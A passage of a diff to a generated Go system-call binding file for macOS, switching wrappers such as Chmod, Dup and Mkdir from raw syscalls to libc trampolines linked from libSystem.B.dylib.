- return
- }
-
-+func libc_chflags_trampoline()
-+
-+//go:linkname libc_chflags libc_chflags
-+//go:cgo_import_dynamic libc_chflags chflags "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chmod(path string, mode uint32) (err error) {
-@@ -469,13 +874,18 @@ func Chmod(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHMOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chmod_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chmod_trampoline()
-+
-+//go:linkname libc_chmod libc_chmod
-+//go:cgo_import_dynamic libc_chmod chmod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chown(path string, uid int, gid int) (err error) {
-@@ -484,13 +894,18 @@ func Chown(path string, uid int, gid int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_chown_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chown_trampoline()
-+
-+//go:linkname libc_chown libc_chown
-+//go:cgo_import_dynamic libc_chown chown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chroot(path string) (err error) {
-@@ -499,27 +914,52 @@ func Chroot(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chroot_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_chroot_trampoline()
-+
-+//go:linkname libc_chroot libc_chroot
-+//go:cgo_import_dynamic libc_chroot chroot "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ClockGettime(clockid int32, time *Timespec) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_clock_gettime_trampoline), uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_clock_gettime_trampoline()
-+
-+//go:linkname libc_clock_gettime libc_clock_gettime
-+//go:cgo_import_dynamic libc_clock_gettime clock_gettime "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_close_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_close_trampoline()
-+
-+//go:linkname libc_close libc_close
-+//go:cgo_import_dynamic libc_close close "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Dup(fd int) (nfd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(fd), 0, 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_dup_trampoline), uintptr(fd), 0, 0)
- nfd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -527,16 +967,26 @@ func Dup(fd int) (nfd int, err error) {
- return
- }
-
-+func libc_dup_trampoline()
-+
-+//go:linkname libc_dup libc_dup
-+//go:cgo_import_dynamic libc_dup dup "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Dup2(from int, to int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(from), uintptr(to), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_dup2_trampoline), uintptr(from), uintptr(to), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_dup2_trampoline()
-+
-+//go:linkname libc_dup2 libc_dup2
-+//go:cgo_import_dynamic libc_dup2 dup2 "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Exchangedata(path1 string, path2 string, options int) (err error) {
-@@ -550,20 +1000,30 @@ func Exchangedata(path1 string, path2 string, options int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_EXCHANGEDATA, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ _, _, e1 := syscall_syscall(funcPC(libc_exchangedata_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_exchangedata_trampoline()
-+
-+//go:linkname libc_exchangedata libc_exchangedata
-+//go:cgo_import_dynamic libc_exchangedata exchangedata "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Exit(code int) {
-- Syscall(SYS_EXIT, uintptr(code), 0, 0)
-+ syscall_syscall(funcPC(libc_exit_trampoline), uintptr(code), 0, 0)
- return
- }
-
-+func libc_exit_trampoline()
-+
-+//go:linkname libc_exit libc_exit
-+//go:cgo_import_dynamic libc_exit exit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-@@ -572,43 +1032,63 @@ func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_faccessat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_faccessat_trampoline()
-+
-+//go:linkname libc_faccessat libc_faccessat
-+//go:cgo_import_dynamic libc_faccessat faccessat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchdir_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchdir_trampoline()
-+
-+//go:linkname libc_fchdir libc_fchdir
-+//go:cgo_import_dynamic libc_fchdir fchdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchflags(fd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHFLAGS, uintptr(fd), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchflags_trampoline), uintptr(fd), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchflags_trampoline()
-+
-+//go:linkname libc_fchflags libc_fchflags
-+//go:cgo_import_dynamic libc_fchflags fchflags "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchmod_trampoline), uintptr(fd), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchmod_trampoline()
-+
-+//go:linkname libc_fchmod libc_fchmod
-+//go:cgo_import_dynamic libc_fchmod fchmod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-@@ -617,23 +1097,33 @@ func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fchmodat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchmodat_trampoline()
-+
-+//go:linkname libc_fchmodat libc_fchmodat
-+//go:cgo_import_dynamic libc_fchmodat fchmodat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchown(fd int, uid int, gid int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchown_trampoline), uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchown_trampoline()
-+
-+//go:linkname libc_fchown libc_fchown
-+//go:cgo_import_dynamic libc_fchown fchown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-@@ -642,27 +1132,37 @@ func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fchownat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchownat_trampoline()
-+
-+//go:linkname libc_fchownat libc_fchownat
-+//go:cgo_import_dynamic libc_fchownat fchownat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_flock_trampoline), uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_flock_trampoline()
-+
-+//go:linkname libc_flock libc_flock
-+//go:cgo_import_dynamic libc_flock flock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fpathconf(fd int, name int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FPATHCONF, uintptr(fd), uintptr(name), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_fpathconf_trampoline), uintptr(fd), uintptr(name), 0)
- val = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -670,99 +1170,97 @@ func Fpathconf(fd int, name int) (val int, err error) {
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_fpathconf_trampoline()
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_fpathconf libc_fpathconf
-+//go:cgo_import_dynamic libc_fpathconf fpathconf "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+func Fsync(fd int) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fsync_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_fsync_trampoline()
-
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_fsync libc_fsync
-+//go:cgo_import_dynamic libc_fsync fsync "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Ftruncate(fd int, length int64) (err error) {
-- _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), uintptr(length), uintptr(length>>32))
-+ _, _, e1 := syscall_syscall(funcPC(libc_ftruncate_trampoline), uintptr(fd), uintptr(length), uintptr(length>>32))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_ftruncate_trampoline()
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_ftruncate libc_ftruncate
-+//go:cgo_import_dynamic libc_ftruncate ftruncate "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getdtablesize() (size int) {
-- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
-+ r0, _, _ := syscall_syscall(funcPC(libc_getdtablesize_trampoline), 0, 0, 0)
- size = int(r0)
- return
- }
-
-+func libc_getdtablesize_trampoline()
-+
-+//go:linkname libc_getdtablesize libc_getdtablesize
-+//go:cgo_import_dynamic libc_getdtablesize getdtablesize "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getegid_trampoline), 0, 0, 0)
- egid = int(r0)
- return
- }
-
-+func libc_getegid_trampoline()
-+
-+//go:linkname libc_getegid libc_getegid
-+//go:cgo_import_dynamic libc_getegid getegid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_geteuid_trampoline), 0, 0, 0)
- uid = int(r0)
- return
- }
-
-+func libc_geteuid_trampoline()
-+
-+//go:linkname libc_geteuid libc_geteuid
-+//go:cgo_import_dynamic libc_geteuid geteuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getgid_trampoline), 0, 0, 0)
- gid = int(r0)
- return
- }
-
-+func libc_getgid_trampoline()
-+
-+//go:linkname libc_getgid libc_getgid
-+//go:cgo_import_dynamic libc_getgid getgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getpgid_trampoline), uintptr(pid), 0, 0)
- pgid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -770,34 +1268,54 @@ func Getpgid(pid int) (pgid int, err error) {
- return
- }
-
-+func libc_getpgid_trampoline()
-+
-+//go:linkname libc_getpgid libc_getpgid
-+//go:cgo_import_dynamic libc_getpgid getpgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpgrp() (pgrp int) {
-- r0, _, _ := RawSyscall(SYS_GETPGRP, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getpgrp_trampoline), 0, 0, 0)
- pgrp = int(r0)
- return
- }
-
-+func libc_getpgrp_trampoline()
-+
-+//go:linkname libc_getpgrp libc_getpgrp
-+//go:cgo_import_dynamic libc_getpgrp getpgrp "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getpid_trampoline), 0, 0, 0)
- pid = int(r0)
- return
- }
-
-+func libc_getpid_trampoline()
-+
-+//go:linkname libc_getpid libc_getpid
-+//go:cgo_import_dynamic libc_getpid getpid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getppid_trampoline), 0, 0, 0)
- ppid = int(r0)
- return
- }
-
-+func libc_getppid_trampoline()
-+
-+//go:linkname libc_getppid libc_getppid
-+//go:cgo_import_dynamic libc_getppid getppid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_getpriority_trampoline), uintptr(which), uintptr(who), 0)
- prio = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -805,30 +1323,45 @@ func Getpriority(which int, who int) (prio int, err error) {
- return
- }
-
-+func libc_getpriority_trampoline()
-+
-+//go:linkname libc_getpriority libc_getpriority
-+//go:cgo_import_dynamic libc_getpriority getpriority "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getrlimit(which int, lim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getrlimit_trampoline), uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getrlimit_trampoline()
-+
-+//go:linkname libc_getrlimit libc_getrlimit
-+//go:cgo_import_dynamic libc_getrlimit getrlimit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getrusage_trampoline), uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getrusage_trampoline()
-+
-+//go:linkname libc_getrusage libc_getrusage
-+//go:cgo_import_dynamic libc_getrusage getrusage "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getsid_trampoline), uintptr(pid), 0, 0)
- sid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -836,26 +1369,41 @@ func Getsid(pid int) (sid int, err error) {
- return
- }
-
-+func libc_getsid_trampoline()
-+
-+//go:linkname libc_getsid libc_getsid
-+//go:cgo_import_dynamic libc_getsid getsid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getuid_trampoline), 0, 0, 0)
- uid = int(r0)
- return
- }
-
-+func libc_getuid_trampoline()
-+
-+//go:linkname libc_getuid libc_getuid
-+//go:cgo_import_dynamic libc_getuid getuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Issetugid() (tainted bool) {
-- r0, _, _ := RawSyscall(SYS_ISSETUGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_issetugid_trampoline), 0, 0, 0)
- tainted = bool(r0 != 0)
- return
- }
-
-+func libc_issetugid_trampoline()
-+
-+//go:linkname libc_issetugid libc_issetugid
-+//go:cgo_import_dynamic libc_issetugid issetugid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Kqueue() (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_KQUEUE, 0, 0, 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_kqueue_trampoline), 0, 0, 0)
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -863,6 +1411,11 @@ func Kqueue() (fd int, err error) {
- return
- }
-
-+func libc_kqueue_trampoline()
-+
-+//go:linkname libc_kqueue libc_kqueue
-+//go:cgo_import_dynamic libc_kqueue kqueue "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Lchown(path string, uid int, gid int) (err error) {
-@@ -871,13 +1424,18 @@ func Lchown(path string, uid int, gid int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LCHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_lchown_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_lchown_trampoline()
-+
-+//go:linkname libc_lchown libc_lchown
-+//go:cgo_import_dynamic libc_lchown lchown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Link(path string, link string) (err error) {
-@@ -891,13 +1449,18 @@ func Link(path string, link string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_link_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_link_trampoline()
-+
-+//go:linkname libc_link libc_link
-+//go:cgo_import_dynamic libc_link link "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-@@ -911,37 +1474,32 @@ func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err er
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_linkat_trampoline), uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_linkat_trampoline()
-+
-+//go:linkname libc_linkat libc_linkat
-+//go:cgo_import_dynamic libc_linkat linkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Listen(s int, backlog int) (err error) {
-- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_listen_trampoline), uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_listen_trampoline()
-
--func Lstat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_listen libc_listen
-+//go:cgo_import_dynamic libc_listen listen "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -951,13 +1509,18 @@ func Mkdir(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKDIR, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkdir_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkdir_trampoline()
-+
-+//go:linkname libc_mkdir libc_mkdir
-+//go:cgo_import_dynamic libc_mkdir mkdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-@@ -966,13 +1529,18 @@ func Mkdirat(dirfd int, path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkdirat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkdirat_trampoline()
-+
-+//go:linkname libc_mkdirat libc_mkdirat
-+//go:cgo_import_dynamic libc_mkdirat mkdirat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mkfifo(path string, mode uint32) (err error) {
-@@ -981,13 +1549,18 @@ func Mkfifo(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKFIFO, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkfifo_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkfifo_trampoline()
-+
-+//go:linkname libc_mkfifo libc_mkfifo
-+//go:cgo_import_dynamic libc_mkfifo mkfifo "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mknod(path string, mode uint32, dev int) (err error) {
-@@ -996,13 +1569,18 @@ func Mknod(path string, mode uint32, dev int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKNOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mknod_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mknod_trampoline()
-+
-+//go:linkname libc_mknod libc_mknod
-+//go:cgo_import_dynamic libc_mknod mknod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Open(path string, mode int, perm uint32) (fd int, err error) {
